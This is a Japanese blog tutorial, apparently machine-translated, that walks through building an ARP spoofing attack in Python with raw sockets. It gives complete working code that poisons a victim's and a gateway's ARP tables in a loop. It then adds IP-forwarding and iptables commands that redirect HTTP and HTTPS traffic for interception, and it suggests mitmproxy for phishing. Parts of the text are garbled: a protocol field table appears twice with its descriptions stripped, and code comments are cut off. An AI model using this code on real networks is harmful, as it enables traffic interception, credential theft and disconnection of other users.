前書き
この記事では、Pythonで独自のARPスプーフィングプログラムを実装する方法を示したいと思います。すでに何千もの実装がありますが、それらのほとんどすべてがScapyライブラリといくつかのメソッドを使用しています。おそらくこのライブラリはより効率的に使用できますが、私は主張しませんが、ソケットを使用して自分で実装することに興味があり、これがどのように行われるかを読者に伝えたいと思います。
ARPプロトコルの動作とその欠点についてはすでに理解していることを前提としていますが、そうでない場合は、この記事を読むことをお勧めします。
私は情報セキュリティの専門家ではないので、スリッパを投げるのではなく、コメントに誤りがある場合は明記してください。
少し理論
プロトコルコードが\ x08 \ x06であり、2番目のOSIレイヤー、つまりチャネルで機能するという事実から始めましょう。
次に、何を送信するかを知るために、彼のパッケージの本文に慣れておく必要があります。ウィキペディアでは非常によく書かれています:
パッケージ本体
Hardware type (HTYPE)
, . , Ethernet 0x0001.
Protocol type (PTYPE)
. , IPv4 0x0800.
Hardware length (HLEN)
. Ethernet 6 (0x06).
Protocol length (PLEN)
. IPv4 4 (0x04).
Operation
: 0x0001 0x0002 .
Sender hardware address (SHA)
.
Sender protocol address (SPA)
.
Target hardware address (THA)
. .
Target protocol address (TPA)
.
, . , Ethernet 0x0001.
Protocol type (PTYPE)
. , IPv4 0x0800.
Hardware length (HLEN)
. Ethernet 6 (0x06).
Protocol length (PLEN)
. IPv4 4 (0x04).
Operation
: 0x0001 0x0002 .
Sender hardware address (SHA)
.
Sender protocol address (SPA)
.
Target hardware address (THA)
. .
Target protocol address (TPA)
.
一見難しいように見えるかもしれませんが、それを理解すれば問題は発生しないはずです。
したがって、最初の-ハードウェアタイプ(タイプハードウェア)はイーサネットであるため、コードは0x0001または\ x00 \ x01、プロトコルタイプ(プロトコルのタイプ)-IPv4、\ x08 \ x00としてエンコードされます。次に、ハードウェアとプロトコルタイプの長さ\ x06 \ x04、つまり6バイトと4バイトが表示されます。
そして最後に、操作コードがあります。これは、要求の場合は\ x00 \ x01であり、応答の場合は\ x00 \ x02と送信者/受信者の物理/論理アドレスです。
実装
まず、ソケットインスタンスを宣言し、必要なパラメータを設定する必要があります。
import socket
import time
interface = "wlan0" #
mac = b"\xbb\xbb\xbb\xbb\xbb\xbb" # MAC-, bb:bb:bb:bb:bb:bb
gateway_ip = socket.inet_aton("192.168.1.1") # IP-
gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa" # MAC-
victim_ip = socket.inet_aton("192.168.1.2") # IP-
victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc" # MAC-
connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
connect.bind((interface, socket.htons(0x0800)))
ARPがOSIレイヤー2プロトコルであると仮定すると、最初のパラメーターとしてsocket.PF_PACKETを使用します。プログラムを機能させるには、root権限も必要です。
socket.htons()メソッドは、16ビットの自然数値をネットワークバイトオーダーに変換します。
Socket.inet_aton()メソッドは、IPv4アドレスを32ビットのバイナリ形式に変換します。
また、必要な変数を宣言しました。
次の段階はパッケージの形成です:
arp_code = b'\x08\x06' #
htype = b'\x00\x01' # Hardware Type
ptype = b'\x08\x00' # Protocol Type
hlen = b'\x06' # Hardware Length
plen = b'\x04' # Protocol Length
operation = b'\x00\x02' # Operation Code -
protocol = htype + ptype + hlen + plen + operation #
# ,
eth_packet_1 = victim_mac + mac + arp_code
eth_packet_2 = gateway_mac + mac + arp_code
#
# 4 4 ,
request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip
#
while True:
connect.send(request_victim)
connect.send(request_gateway)
time.sleep(1)
プログラム自体のみを分析しましたが、ユーザーをゲートウェイから切断するだけでなく、パケットを置換/スニッフィングする場合は、ip_forwardで転送を有効にする必要があります。
echo 1 > /proc/sys/net/ipv4/ip_forward
また、iptablesを介してパケットルーティングを構成します。
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
フィッシングを実行する場合は、mitmproxyユーティリティが最適です。tcpdump
ユーティリティを使用して、通過するトラフィックを表示できます。 また、GitHubで、すべてまたは一部のノードをゲートウェイから切断するように設計されたスクリプトを公開しました-github.com/secwayz/netbuster プログラムを作成した結果、操作コード0x0001でも
(要求)および応答からのすべてのパラメーター(わずかに異なります)を使用しても、被害者は引き続きパケットを受信し、ARPテーブルのMACアドレスを変更しますが、攻撃の安定性とこのエントリの強度は大幅に向上します。これはプロトコルのもう1つの欠陥であり、ネットワークインターフェイスは誤って構成されたパケットを無視せず、処理してテーブルを上書きすると思います。